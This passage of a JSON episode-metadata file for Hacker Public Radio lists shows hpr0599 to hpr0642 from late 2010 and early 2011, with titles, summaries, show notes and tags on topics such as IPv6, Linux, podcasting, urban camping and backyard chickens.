https://hackerpublicradio.org/shownotes/hpr0598.html","hostid":30,"series":42,"explicit":1,"license":"CC-BY-NC-SA","tags":"bash,cli,\"command line\"","version":0,"downloads":2530,"valid":1}, {"id":599,"date":"2010-11-18","title":"Interview with Rudi van Drunen on IPv6","duration":2007,"summary":"An interview with Rudi van Drunen about being ready for the future of IPv6","notes":"An interview with Rudi van Drunen at LISA 2010, the Large Installation Systems Administration conference in San Jose, CA. Rudi discusses the\npast, present and future of IPv6, how soon we as a community will need to implement it, and the benefits and drawbacks of the new Internet\nnumbering scheme.","hostid":127,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"ipv6,networking","version":0,"downloads":2709,"valid":1}, {"id":600,"date":"2010-11-19","title":"Handling spam","duration":728,"summary":"A clever technique for identifying & mitigating services that sell your email to spammers","notes":"Xoke gives us tips on How to handle spam","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Spam","version":0,"downloads":2361,"valid":1}, {"id":601,"date":"2010-11-22","title":"A community icecast and mumble server for recording podcasts","duration":595,"summary":"PipeManMusic describes some resources they've made available to the oggcast community","notes":"In this show I talk about the new icecast and mumble server that I have made available to FLOSS/Hacker pod/oggcaster
\ndworth a opensourcemusician.com
\nhttps://opensourcemusician.libsyn.com
\nhttps://live.opensourcemusician.com
\n","hostid":134,"series":45,"explicit":1,"license":"CC-BY-NC-SA","tags":"icecast,mumble,podcasting,oggcasting","version":0,"downloads":2525,"valid":1}, {"id":602,"date":"2010-11-23","title":"Urban Camping ep 1 ","duration":2169,"summary":"An introduction to urban camping; advantages, disadvantages, and challenges involved","notes":"

Klaatu's first episode in his HOW TO be an Urban Camper mini series.

\n

Trombone sample from freesound.org catalogue number 73581
\nEnd song by Jimmy Rogers, courtesy archive.org

","hostid":78,"series":46,"explicit":0,"license":"CC-BY-NC-SA","tags":"\"urban camping\"","version":0,"downloads":3003,"valid":1}, {"id":603,"date":"2010-11-24","title":"QSK Episode 4: AM vs. FM","duration":1473,"summary":"A comparison of amplitude modulation and frequency modulation for radio broadcasts","notes":"After a discussion on IRC that I've had several times before over the past few years, I decided to put my thoughts on the difference between AM and FM radio into a podcast. This talk gets a little bit technical but I think it's easy enough for the average listener to follow. Thank you, Linux Basement, for mentioning the show. I really appreciate it!","hostid":127,"series":43,"explicit":1,"license":"CC-BY-NC-SA","tags":"broadcasting,radio","version":0,"downloads":2485,"valid":1}, {"id":604,"date":"2010-11-25","title":"Community Run Projects","duration":938,"summary":"How to contribute to the community by participating in free projects","notes":"

Links to projects talked about:

\n\n

You can find sp0rus at his blog
\nhttps://www.squaringcircles.blogspot.com
\non twitter @jmstitt and on IRC.

\n

Editor's Note: Converted to full HTML 2021-06-08

\n","hostid":133,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"community,free projects,contributing,learning","version":0,"downloads":2389,"valid":1}, {"id":605,"date":"2010-11-26","title":"How I found Linux","duration":645,"summary":"Johninsc describes how he found Linux","notes":"This is a short podcast on how I found linux.","hostid":135,"series":29,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux","version":0,"downloads":2543,"valid":1}, {"id":606,"date":"2010-11-29","title":"Thread_Repair","duration":2341,"summary":"Practical techniques for repairing threads, and general tips for using screws/bolts","notes":"Not all threads are perfect, but they can be. Hackers sometimes become makers, and makers sometimes use threaded fasteners. Fasteners sometimes need a little TLC before they can serve you as well as you'd like. Also Whiskey pairs surprisingly well with Cheez-its® and Play-Doh®. If any of this sounds familiar, then this episode is for you. \nThe Main website for Song Fight is https://songfight.org/ \nSong Fight's official stance on Copyright may be found at https://songfight.org/faq.html#copyright \nThe direct link to today's song is https://songfightorg.dreamhosters.com/music/outside_paradise/andrewayers+guest_op.mp3 \nP.S. Some people enjoy finding mistakes. For their enjoyment, I have included a few.","hostid":128,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"diy,screwdriver,thread-safe,tools","version":0,"downloads":2456,"valid":1}, {"id":607,"date":"2010-11-30","title":"Klaatu talks to Rebecca from bueda.com","duration":1034,"summary":"Rebecca is in sales at bueda.com","notes":"Klaatu talks to Rebecca from bueda.com about the Semantic Web, social networking, privacy and the internet, hipsters, and hipster boxing. Want to hear all of this in the free codec ogg vorbis? get it from the good folks over at the Gnu World order","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"semantic web,social network,hipster boxing,privacy","version":0,"downloads":2331,"valid":1}, {"id":608,"date":"2010-12-01","title":"sp0rus: My Linux Experience","duration":844,"summary":"Sampling Linux distributions and learning the command line","notes":"My experience with Linux: distros I've used and currently use, and where I plan on going from here.","hostid":133,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"DSL,Ubuntu,Mandrake,CentOS,Mint,command line","version":0,"downloads":2514,"valid":1}, {"id":609,"date":"2010-12-02","title":"I Blame Tom Merritt","duration":793,"summary":"A new host speaks of his first inklings of a Windows-free world","notes":"After more than a year of using Linux, Curbuntu shares some of the \"why's\" behind his switch.\nAlthough they are \"ancient history,\" if a listener is curious about the CNet episodes in which Tom Merritt mentioned Ubuntu, the video links are here:\n
    \n
  1. 2006-09-18: Try a Free Operating System
  2. \n
  3. 2007-07-26: Install Ubuntu on Linux with no muss or fuss
  4. \n
  5. 2008-03-21: Run Ubuntu Linux on a USB drive
  6. \n
","hostid":136,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Ubuntu,IBM mainframe,Tom Merritt","version":0,"downloads":2773,"valid":1}, {"id":610,"date":"2010-12-03","title":"First Robotics Competition","duration":1282,"summary":"Introduction the First Robotics program - goal of the program, judging criteria, and more","notes":"
First Robotics Competition\n
\n
First & the FRC\n
Dean, Woodie, DLavery\n
Construction season\n
Competitions, matches, awards\n
History & origin\n
My involvement\n
Your involvement\n
\n
Useful links \n
FIRST -- For Inspiration & Recognition of Science & Technology (usfirst.org) \n
Info to get involved \n
List of events \n
Geographical search to find teams & events near you \n
Archieved competition info \n
\n
mayesja (at) gmail \n
","hostid":130,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"education,robotics","version":0,"downloads":2396,"valid":1}, {"id":611,"date":"2010-12-06","title":"HPR Community News 0x01","duration":2138,"summary":"HPR Community News 0x01","notes":"

HPR News 0x01

\n

Welcome New hosts

\n

Show Review

\n

Promo played on shows

\n

Fixed comment spam

\n

RSS feed link to episode

\n

The great ogg debate

\n

Archive.org

\n

Hpr Submission Policy

\n

README.txt

\n

Calendar

\n

Syndication

\n

Requested Topics

\n

Other News

\n

A word from our Spammers

\n\n

Full shownotes at https://hackerpublicradio.org/shownotes/hpr0611.html

","hostid":159,"series":47,"explicit":1,"license":"CC-BY-NC-SA","tags":"Community News","version":0,"downloads":2442,"valid":1}, {"id":612,"date":"2010-12-07","title":"Urban cyclist - Commuting","duration":1037,"summary":"Considerations regarding commuting through an urban environment on a bicycle","notes":"Intro - I am guitarman in IRC, got the nick from a Jerry Reid song which Elvis borrowed - just liked the lyrics and the performance. Not a health Nut, Nor an Expert on bike repair but do cycle every day and have for over 2.5 years.\nComplete show notes https://hackerpublicradio.org/shownotes/hpr0612.html","hostid":137,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"bicycles,commute","version":0,"downloads":4704,"valid":1}, {"id":613,"date":"2010-12-08","title":"alternative investing and how the internet changes the game","duration":822,"summary":"Some reflections on investing and saving","notes":"Shownotes from https://jwp5.wordpress.com/2010/11/16/alternative-investing-and-how-the-internet-changes-the-game/\n

For My hacker Public Radio spot.
Recently, I had a chance to review about 30 years of my investing and savings.
Being a live long member of the save 10% club and having been debt free for a number years I thought I needed a review.

\n

Having been in the military I had picked almost all the wrong kinds of things to invest in in the pre-internet era that one could think of.
A few years ago when Ron Paul was running for President.
I stumbled upon his web site.
Having shared many views with Mr. Paul and him being a small town doctor from Texas.  I was very interested in what he invested in.
I read that he had about 50% of his assets in hard assets like Gold Coins and the rest T bills.
Of course he was debt free and owned his home and land out right as well. 

\n

I use Etrade and I am slowy moving the mistakes of the Army.
Its just hard to get in touch with folks that deal with paper.

\n

The reason I like Etrade so much is that they show the total loss or gain each investment right away.  No guessing you can see it.
You also pay as you go with them and it is very clear what you have to pay in total fee’s.

\n

I like the treasury direct site as well.

\n

But what really interested me.
Is what is coming.  And this is the Hacker part of that really says wow.
I have been a user of pay pal for a long time.
I have a German and American account with them and find its a great way to move dollars to euros with out a lot of over the top fees.
Most people do not think about having two types of money but I assure you the dollar is not worth very much today vs. the Euro.
Which is great for American Jobs. 
Being a Pay Pal user I a saw this Microplace site they have.
I used my pay pal ID and it worked.
There was no tricks or anything. 
You make a small loan to women in south texas or coco farms in the islands and they really pay you back.
I have done it for a few years and it made feel a lot better about sharing my money and getting a fair return.

\n

I also look into owning a share of Windmill or truck or locomotive but the incoming costs are pretty high.  About 15K to starting in Germany to own a share of ship or locomotive.  I like this because its a set investment a train that works in the Hamburg harbor and its there you can go and see it on your web cam and see it work.  It pays back your entire principle over the 30 years of its life and it pays a share of the profit for that year.  I have not found very many American investments like that.  But have heard that some Oil trusts can do that.  Can I have a web cam of it working would be a qualifying point for me. 

\n

Well enjoy and thank about it.
Keep it simple if you do save and watch fee’s.
The younger you start the easier it is.
And do not borrow money with credit cards or by car with credit or buy home unless you put 20% down.
Would be the only other advice.
I read book one time about wealthy barber and another about a guy who saved three years living expenses.
I used much from both. 
The one that really changed my life was when I had the living expenses worked out.
It changed how I felt about my Boss and what I would be willing do a lot. 
The spirit to take chance also came from that.

\n

In any case I am off enjoy and be safe.

","hostid":129,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"investment,E-Trade,microfinance,MicroPlace,share,\"hard asset\"","version":0,"downloads":2498,"valid":1}, {"id":614,"date":"2010-12-09","title":"Intro To Audio and Pod/Oggcasting","duration":1388,"summary":"We look at what sound is, and how we represent it digitally","notes":"

In this show we talk about what sound is and how we represent it digitally.

\n\n
    \n
  • A sine wave
  • \n
  • Analog to digital conversion\n
      \n
    • Chopping it up. (Bit rate)
    • \n
    • How big is each slice. (Bit depth)
    • \n
    • What is a WAV and what is a broadcast WAV.
    • \n
    • What is a codec
    • \n
    • Lossless audio codecs
    • \n
    • Lossy audio codecs
    • \n
    \n
  • \n
\n\n

https://opensourcemusician.com
\nirc.freenode.net #opensourcemusicians\n

\n","hostid":134,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"frequency,amplitude,\"bit rate\",\"bit depth\",Ardour,codec","version":0,"downloads":2617,"valid":1}, {"id":615,"date":"2010-12-10","title":"Urban Camping ep 2","duration":2069,"summary":"Exploring options for parking vehicles and couchsurfing/squatting while camping","notes":"

The second episode in the HOW TO be an Urban Camper mini series. This one covers finding shelter, things to look out for, scouting out the neighborhood, police and other thugs, and where not to stay..
\nEnd song excerpt by the Princess Orchestra, courtesy archive.org

","hostid":78,"series":46,"explicit":0,"license":"CC-BY-NC-SA","tags":"parking,lodging,relationships,\"urban camping\"","version":0,"downloads":2828,"valid":1}, {"id":616,"date":"2010-12-13","title":"Surfraw","duration":691,"summary":"Surfraw, a command-line web searching utility","notes":"Surfraw: Shell Users' Revolutionary Front Rage Against the Web\n\n

About Surfraw

\n \n

\nSurfraw provides a fast unix command line interface to a variety of\npopular WWW search engines and other artifacts of power. It reclaims\ngoogle, altavista, babelfish, dejanews, freshmeat, research index,\nslashdot and\nmany others \nfrom the false-prophet, pox-infested heathen\nlands of html-forms, placing these wonders where they belong, deep in\nunix heartland, as god loving extensions to the shell.

\n ","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"command line\",\"search engine\"","version":0,"downloads":2380,"valid":1}, {"id":617,"date":"2010-12-14","title":"So You Wanna Start A Band?","duration":2739,"summary":"How current copyright laws can affect musicians trying to start a band","notes":"

Many people only think about it from the fans perspective, without realizing the different steps it's taken to get to them. ThistleWeb talks about the current copyright cartel thinking in how it affects musicians. The same people who claim to speak on behalf of artists, lobby to enshrine laws supposedly for the artists. He talks through the process of starting a band and how often these laws crop up forcing the next generation of musicians to spend a LOT of money to stay legal, or be criminalized. Staying legal means coughing up to maintain the status quo.

\n

He ends with a brief comparison of how things can work under a Creative Commons license.

\n

He forgot to mention the parallels with the Musicians Guild in Discworld by Terry Pratchett, who send the assassins in to deal with people who think they can play music without being paid members of the Guild.

","hostid":106,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"copyright,\"creative commons\",music","version":0,"downloads":2496,"valid":1}, {"id":618,"date":"2010-12-15","title":"Installing Windows XP in VirtualBox","duration":1264,"summary":"A walkthrough of hosting a Windows XP virtual machine with virtualbox","notes":"

\nI use GNU/Linux for everything except one program that I need for work. Even the odd Windows games I've played run nicely in wine now, but not this. I have looked for Open Source alternatives but so far have not come across anything I can use in the same way so that means I have to have an install of Windows on hand just for this one purpose. \n

\n

\nIn this podcast I am talking through setting up a virtual machine using VirtualBox, and installing Windows XP on that virtual machine.\n

\n

\n\nIf you would like me to make further episodes on this topic, maybe installing a different OS, or how to tweak this WinXP install once it is up and running then please drop me a line either on Twitter or identi.ca; I am @arfab; or email me on: arfab@lavabit.com\n

","hostid":138,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"windows,virtualbox,virtualization","version":0,"downloads":2736,"valid":1}, {"id":619,"date":"2010-12-16","title":"QSK: Episode 5: You're Driving Me Crazy","duration":2591,"summary":"Russ Woodman shares his pet peeves concerning drivers, driving, and traffic laws","notes":"

\nIn this episode of the QSK Netcast, your hero takes his road rage into the netcast arena. With a top-ten list of bad driving buffoonery to choose from, I stand on my soapbox for an entire episode and spout off to my heart's content. Be warned, the explicit tag on this episode means EXPLICIT. No two ways about it. It just so happens that when I'm passionate about something, I don't hold anything back. Please enjoy this latest episode and tell all your friends about the show. Don't forget to send feedback, too. I'd love to hear what you think.

","hostid":127,"series":43,"explicit":1,"license":"CC-BY-NC-SA","tags":"driving","version":0,"downloads":2354,"valid":1}, {"id":620,"date":"2010-12-17","title":"Klaatu holds an interview with Tek Systems","duration":438,"summary":"An interview with Tek Systems, an IT staffing firm from Greenvile, South Carolina","notes":"Klaatu talks to Tek Systems at SELF 2010. Listen to the ogg vorbis version courtesy of the Bad Applez.","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"SELF, interview","version":0,"downloads":2433,"valid":1}, {"id":621,"date":"2010-12-20","title":"Dann and CafeNinja Book Review: Ayn Rand's Atlas Shrugged","duration":2846,"summary":"CafeNinja and Dann review \"Atlas Shrugged\" by Ayn Rand","notes":"

\nDann and CafeNinja provide a synopsis of the book and then discuss the points of objectivism in relation to historical, political, and personal impact. A good time had by all.\n \nReferences \n

    \n
  • Atlas Shrugged by Ayn Rand
  • \n
  • Objectivism - The Philosophy of Ayn Rand
  • \n
  • Ayn Rand on Wikipedia
  • \n
  • Atlas Shrugged the Website
  • \n
  • Dann's Notes for this episode
  • \n\n

    \n
    \nhttps://en.wikipedia.org/wiki/Objectivism_(Ayn_Rand)\nhttps://en.wikipedia.org/wiki/Ayn_Rand\nhttps://www.atlasshrugged.com\nhttps://www.thelinuxlink.net/~dann/atlas_shrugged_review.txt\n
    \n","hostid":7,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"book,\"book review\",philosophy","version":0,"downloads":2456,"valid":1}, {"id":622,"date":"2010-12-21","title":"Influenza","duration":1324,"summary":"An introduction to the characteristics of the influenza virus and treatments","notes":"I discuss the biology, signs, symptoms, treatment, and prevention of influenza. https://www.cdc.gov is also a good place to go for information on inflluenza and has the latest information on influenza's spread.","hostid":116,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"health","version":0,"downloads":2589,"valid":1}, {"id":623,"date":"2010-12-22","title":"nano editor","duration":1030,"summary":"GNU nano is a simple editor, inspired by Pico","notes":"

    JWP Author

    \n\n

    \nNano is a lot like Pico which is included as the editor in Pine.\nIt uses the Control key to execute commands and is very easy to use.\n

    \n\n\n\n

    Also be sure to donate to Wikipedia.

    \n

    Show notes at https://jwp5.wordpress.com/2010/11/29/what-is-nano/

    \n","hostid":129,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"editor,command line,Pine,Pico","version":0,"downloads":2418,"valid":1}, {"id":624,"date":"2010-12-23","title":"Urban Camping ep 3","duration":1698,"summary":"Episode 3: personal hygiene","notes":"

    The third episode in Klaatu's HOW TO be an Urban Camper mini series, about the always engrossing topic of personal hygiene.

    ","hostid":78,"series":46,"explicit":0,"license":"CC-BY-NC-SA","tags":"stairwell,yurt,shower,gym membership,urban camping","version":0,"downloads":2448,"valid":1}, {"id":625,"date":"2010-12-24","title":"Network Cabling at Resno's House","duration":3992,"summary":"Standards, equipment and techniques used for cabling your network at home","notes":"

    \nCabeling at home can be tricky. In this episode pokey and resno discuss some ways of creating a wired network in a residential space. Resno was kind enough to let us use his own home as the example for this discussion.

    \n

    \nThe Main website for Song Fight is https://songfight.org/ \nSong Fight's official stance on Copyright may be found at https://songfight.org/faq.html#copyright \n

    \n

    \nThe direct link to today's song is https://www.songfight.org/music/tw3rp/anarchaeologists_tw3rp.mp3 \n

    \n

    \nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.\n

    ","hostid":128,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"cable,diy,networking","version":0,"downloads":2584,"valid":1}, {"id":626,"date":"2010-12-27","title":"Urban Camping ep 4","duration":1332,"summary":"Episode 4: organizing your gear","notes":"

    The third episode in Klaatu's HOW TO be an Urban Camper mini series, about organization of your gear, and the eternal quest for the perfect coffee travel mug.

    ","hostid":78,"series":46,"explicit":0,"license":"CC-BY-NC-SA","tags":"backpack,locker,ziplock bag,travel mug,urban camping","version":0,"downloads":2471,"valid":1}, {"id":627,"date":"2010-12-28","title":"From OS X to OS Whoredom to Linux","duration":1880,"summary":"Ruji's journey to Linux","notes":"

    \nRuji tells her story of discovering FOSS and installing Sabayon Linux on a MacBook Pro. She also discusses Mac OS X, virtualization, and multimedia software.\n

    \n\n

    Links:

    \n\n","hostid":139,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Mac OS X,Windows XP,freeware,shareware,FOSS,Mandriva,Ubuntu,Sabayon","version":0,"downloads":2770,"valid":1}, {"id":628,"date":"2010-12-29","title":"Tasker - Automation for Android Devices","duration":840,"summary":"brother mouse speaks of Tasker in his first show for HPR","notes":"

    \nThis first attempt is about Tasker, an Android app that enables the user to tweak and automate the Android smartphone. I have no connection with the author but find the app endlessly useful.\n

    \n

    \nURLs
    \n

    \n

    ","hostid":140,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Tasker,Android,automation","version":0,"downloads":2596,"valid":1}, {"id":629,"date":"2010-12-30","title":"RSS 2.0 Specification with iTunes namespace","duration":1946,"summary":"An explanation of the RSS 2.0 specification, the iTunes namespace, and HPR's RSS feed","notes":"

    \nLike HTML, RSS is a form of XML and today we take a look at the RSS 2.0 specification specifically how that will relate to the Hacker Public Radio feed.
    \nRSS 2.0 is offered by the Berkman Center for Internet & Society at Harvard Law School under the terms of the Attribution/Share Alike Creative Commons license. The author of this document is Dave Winer, founder of UserLand software, and fellow at Berkman Center. \n

    \n\n\n\n\n
    \nhttps://cyber.law.harvard.edu/rss/rss.html\nhttps://www.apple.com/itunes/podcasts/specs.html\nhttps://www.rssboard.org/rss-profile\nhttps://validator.w3.org/feed/\nhttps://hackerpublicradio.org/test.xml\nhttps://www.w3schools.com/html/\nhttps://www.w3schools.com/xml/\nhttps://www.w3schools.com/rss/\n
    ","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"hpr,rss","version":0,"downloads":2287,"valid":1}, {"id":630,"date":"2010-12-31","title":"HPR at the Northeast GNU-Linux Fest","duration":925,"summary":"Pokey outlines his plans for the Northeast GNU/Linuxfest","notes":"

    Hacker Public Radio will have a table at the Northeast GNU/Linux Fest. Please come visit us to learn about contributing to HPR and for a free HPR sticker (while they last). You can also join in and help us out. If you're a contributor to HPR, represent. Please Join the Hacker Public Radio mailing list to keep up to speed on what we're doing.

    \n\n

    Thank you for listening.
    \nP.S. Some people enjoy finding mistakes. For their enjoyment, I have included a few.

    ","hostid":128,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"conference,nelf","version":0,"downloads":2461,"valid":1}, {"id":631,"date":"2011-01-03","title":"HPR Community News 0x02","duration":1289,"summary":"HPR Community News 0x02","notes":"

    Welcome New hosts

    \nguitarman, arfab, Ruji, and brother mouse\n\n

    Show Review

    \n
    \n612     guitarman:: Urban cyclist - Commuting\n613     JWP:: alternative investing and how the internet changes...\n614     PipeManMusic:: Intro To Audio and Pod/Oggcasting\n615     klaatu:: Urban Camping ep 2\n616     Dave Yates:: Surfraw\n617     Thistleweb:: So You Wanna Start A Band?\n618     arfab:: Installing Windows XP in VirtualBox\n619     KFive:: QSK: Episode 5: You're Driving Me Crazy\n620     klaatu:: Klaatu holds an interview with Tek Systems\n621     Dann:: Dann and CafeNinja Book Review:  Ayn Rand's Atlas ...\n622     janedoc:: Influenza\n623     JWP:: nano editor\n624     klaatu:: Urban Camping ep 3\n625     pokey:: Network Cabling at Resno's House\n626     klaatu:: Urban Camping ep 4\n627     Ruji:: From OS X to OS Whoredom to Linux\n628     brother mouse:: Tasker - Automation for Android Devices\n629     Ken Fallon::RSS 2.0 Specification with iTunes namespace\n630     pokey:: HPR at the Northeast GNU-Linux Fest\n
    \n\n

    Other News

    \n
      \n
    • Comments: All comments need to be approved which led to a 50% reduction in bandwidth. Captchas have been disabled. A rewrite of comment system is needed. Comment feed behind P in HPR
    • \n
    • Searching for WAV versions of the intro/outro
    • \n
    • Ken was promoting HPR on the KnightWise KWTV LIVE 2010 : Day one. Hour 4
    • \n
    • Special thanks to Miai who endured the pain of uploading all episodes from ep0001 to ep0620 to archive.org
    • \n
    \n\n

    Mailing List News

    \n
      \n
    • sigflup offered to put up an ice cast server to play hpr reruns and Dave Yates answered the call
    • \n
    • More talk about the new RSS feeds. I still need more feed back on the test RSS 2.0 feed
    • \n
    • Pokey has ordered a booth for North east linux fest and has ordered HPR stickers and is looking for help. Listen to episode hpr0630 for more information
    • \n
    • HPR TV - Droops wants to do TV on HPR - everyone seems to like the idea. More on this as it develops.
    • \n
    • Jason Scott of textfiles.com has offered to mirror hpr for us.
    • \n
    \n\n

    A year in review

    \n

    We Published 131 of a possible 261 shows in 2010.
    \nWe will need 260 shows for 2011 and so far we have 17 needless to say we need shows.

    \n

    There were 37 hosts.

    \n
      \n
    • Contributing one show: tmacuk, Patrick L Archibald, Dave Yates, janedoc, Enigma, Roundtable, elel, thewtex, Johninsc, Thistleweb, Ruji, pegwole, cobra, FiftyOneFifty, Curbuntu, arfab, brother mouse, StankDawg, Flaviu Simihaian, guitarman, and Dann
    • \n
    • Contributing two shows: PipeManMusic, Quvmoh, Jared Mayes, and Urban Koistinen
    • \n
    • Contributing three shows: JWP, sp0rus, deepgeek
    • \n
    • Contributing four shows: lostnbronx, monsterb, and pokey
    • \n
    • Contributing five shows: Xoke
    • \n
    • Contributing seven shows: SigFlUP, and K5TUX
    • \n
    • Contributing eight shows: Drake Anubis
    • \n
    • Contributing ten shows: Ken Fallon
    • \n
    • Contributing eleven shows: Michael Foord
    • \n
    • Contributing thirteen shows: finux
    • \n
    • Contributing twenty shows: klaatu
    • \n
    \n

    Droops has offered to help improve the site stats.

    \n\n

    Thank You !

    \n

    Thanks to everyone who supported HPR in 2010 and have a great new year

    \n\n

    A word from our spammers

    \n

    Despite all the comments being approved our dedicated team of spammers continue to visit.

    \n\n

    Links

    \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-NC-SA","tags":"Community News","version":0,"downloads":2570,"valid":1}, {"id":632,"date":"2011-01-04","title":"Notebook Method for ADHD","duration":711,"summary":"A technique for coping with the symptoms of ADHD","notes":"I recently graduated college and wanted to share a coping skill that I call the Notebook Method, it is used for organization and study.","hostid":1,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"fountain pen\",\"mental health\",tools","version":0,"downloads":2510,"valid":1}, {"id":633,"date":"2011-01-05","title":"The Language Frontier Episode 1","duration":1379,"summary":"ep-1: she talks about the importance of language in everyday life, the media, ads, buzzwords, etc.","notes":"

    Skirlet introduces her new six-part miniseries, The Language Frontier.

    \n

    In this episode, she talks about the importance of language in everyday life, the media, ads, buzzwords, and more.

    \n

    Listen to this episode in ogg vorbis via aesdiopod.

    \n\n

    https://www.aesdiopod.com/thelanguagefrontier/hpr_TLF-1.ogg

    ","hostid":88,"series":48,"explicit":1,"license":"CC-BY-NC-SA","tags":"language,\"the media\",ads,buzzwords","version":0,"downloads":2497,"valid":1}, {"id":634,"date":"2011-01-06","title":"Urban Camping ep 5","duration":1595,"summary":"Episode 5: where to find food","notes":"

    The fifth episode in Klaatu's HOW TO be an Urban Camper mini series, about where to find food.

    ","hostid":78,"series":46,"explicit":0,"license":"CC-BY-NC-SA","tags":"\"free food\",\"dumpster diving\",stealing,bartering","version":0,"downloads":2581,"valid":1}, {"id":635,"date":"2011-01-07","title":"Cloudy Predictions","duration":873,"summary":"A new contributor talks about the downside of external cloud solutions","notes":"

    \nA case against cloud computing. Migrate your mission critical applications to your own personal cloud. Thousands of engineers have donated software which allows you to host almost any application genre that you like; including but not limited to web mail, wikis, social bookmarking, blogs, storage and sync, etc.
    Contact me @ dismal.science.hpr AT gmail DOT com

    ","hostid":141,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"del.icio.us,atlassian.com,insipid","version":0,"downloads":2839,"valid":1}, {"id":636,"date":"2011-01-10","title":"Kid3-qt","duration":1656,"summary":"Using Kid3-qt to modify audio metadata, for changing playback order in some media players","notes":"

    An id3 tag is meta-data attached to an audio file, and is (ideally) about the file to which it is attached. If you've ever tried to edit id3 tags through a media player, then you know what a pain that is. If you haven't... Well, now you never have to. Rejoice! Kid3-qt is an id3 tag editor, and it is awesome.\n
    \nThe main website for Song Fight is https://songfight.org/
    \nSong Fight's official stance on Copyright may be found at https://songfight.org/faq.html#copyright
    \nThe direct link to today's song is https://www.songfight.org/music/shreds/brickpig_shreds.mp3
    \nHacker Public Radio will have a table at the Northeast GNU/Linux Fest. Please come visit us to learn about contributing to HPR and for a free HPR sticker (while they last). You can also join in and help us out. If you're a contributor to HPR, represent. Please Join the Hacker Public Radio mailing list to keep up to speed on what we're doing.\nYou can sign up for the HPR mailing list at https://hackerpublicradio.org/mailman/listinfo/hpr_hackerpublicradio.org
    \nThe main website for NELF is https://www.northeastlinuxfest.org/
    \nThank you for listening.
    \nP.S. Some people enjoy finding mistakes. For their enjoyment, I have probably included a few.

    ","hostid":128,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"media player\",metadata,utilities","version":0,"downloads":2468,"valid":1}, {"id":637,"date":"2011-01-11","title":"Every Day Carry ","duration":1423,"summary":"An incredibly in-depth look at how Brother Mouse organizes items on himself","notes":"

    In my youth I was an Eagle Scout and then a soldier so I tend to err on the side of overpreparedness. To keep this episode a manageable length I will only cover my on-the-body carry and leave discussion of packs, BOBs, car carry, etc for another day.

    \n \n \n

    \nIf you dislike the new Endura4 style you may want to consider the new Pacific Salt line; it appears to be based on the classic Endura.

    \n \n \n \n

    Corrections and Clarifications:

    \n\n

    The Scala 700 blinks by default, but the LED can be turned off.\nWhile streaming a2dp the Jabra 530 does blink briefly after button\npresses then stops.

    \n\n

    The Endura's blade is less than 4\" from tip to handle, making it compliant\nwith most pocketknife laws. Be sure to check your local laws and measure\nyour blade including the tang, because a LEO might do the same. It has been\nsaid, wisely, \"You might beat the rap, but you won't beat the ride.\"

    ","hostid":140,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"bluetooth,firearm,knife,sunglasses","version":0,"downloads":2546,"valid":1}, {"id":638,"date":"2011-01-12","title":"Urban Camping ep 6","duration":1531,"summary":"Episode 6: making money","notes":"

    Episode 6 of HOW TO be an Urban Camper. This one talks about making money whilst urban camping.

    \n

    End song is \"Play or Give me my Money Back\" by Michael Tokarick via archive.org

    ","hostid":78,"series":46,"explicit":0,"license":"CC-BY-NC-SA","tags":"\"part-time job\",\"odd job\",\"business card\",freelance,\"street performing\"","version":0,"downloads":2605,"valid":1}, {"id":639,"date":"2011-01-13","title":"Podcasts are not Radio","duration":254,"summary":"An explanation of the differences between radio and podcast time constraints","notes":"Radio hosts and Podcasters have different goals and ways to go about them. Do not follow my example, but instead keep your podcasts all about the content.","hostid":1,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"podcasting","version":0,"downloads":5129,"valid":1}, {"id":640,"date":"2011-01-14","title":"About microphones","duration":1192,"summary":"An explanation of the technology behind microphones, and how to use them in recording","notes":"\n","hostid":134,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"audio,\"audio production\",microphone,recording","version":0,"downloads":2539,"valid":1}, {"id":641,"date":"2011-01-17","title":"Urban Camping ep 7","duration":1305,"summary":"Episode 7: what to do all day!","notes":"

    What does an urban camper do all day? Find out in this exciting seventh episode of the HOW TO be an Urban Camper mini series!

    \n

    Say, is that Irving Gillette and the lovely Ada Jones singing \"In the Heart of the City That Has No Heart\" at the end? Why yes! it is. But don't thank me, thank archive.org

    ","hostid":78,"series":46,"explicit":0,"license":"CC-BY-NC-SA","tags":"job,cafe,library,university,parks,friends,streets,\"community establishment\"","version":0,"downloads":2520,"valid":1}, {"id":642,"date":"2011-01-18","title":"Hacking Your Suburban Backyard with Chickens","duration":2263,"summary":"The benefits and drawbacks of keeping chickens in your yard, with audio examples","notes":"

    Remember that feeling you got when you compiled your first executable\nand ran that sucker? You can get that feeling again every time you reach\nin the nestbox and pull out a freshly laid egg from birds you tend with\nyour own hands. \"Roll your own\" eggs, then \"share and enjoy\" the surplus.

    \n\n

    Topics covered:

    \n
      \n
    1. Chickens == biological glue code
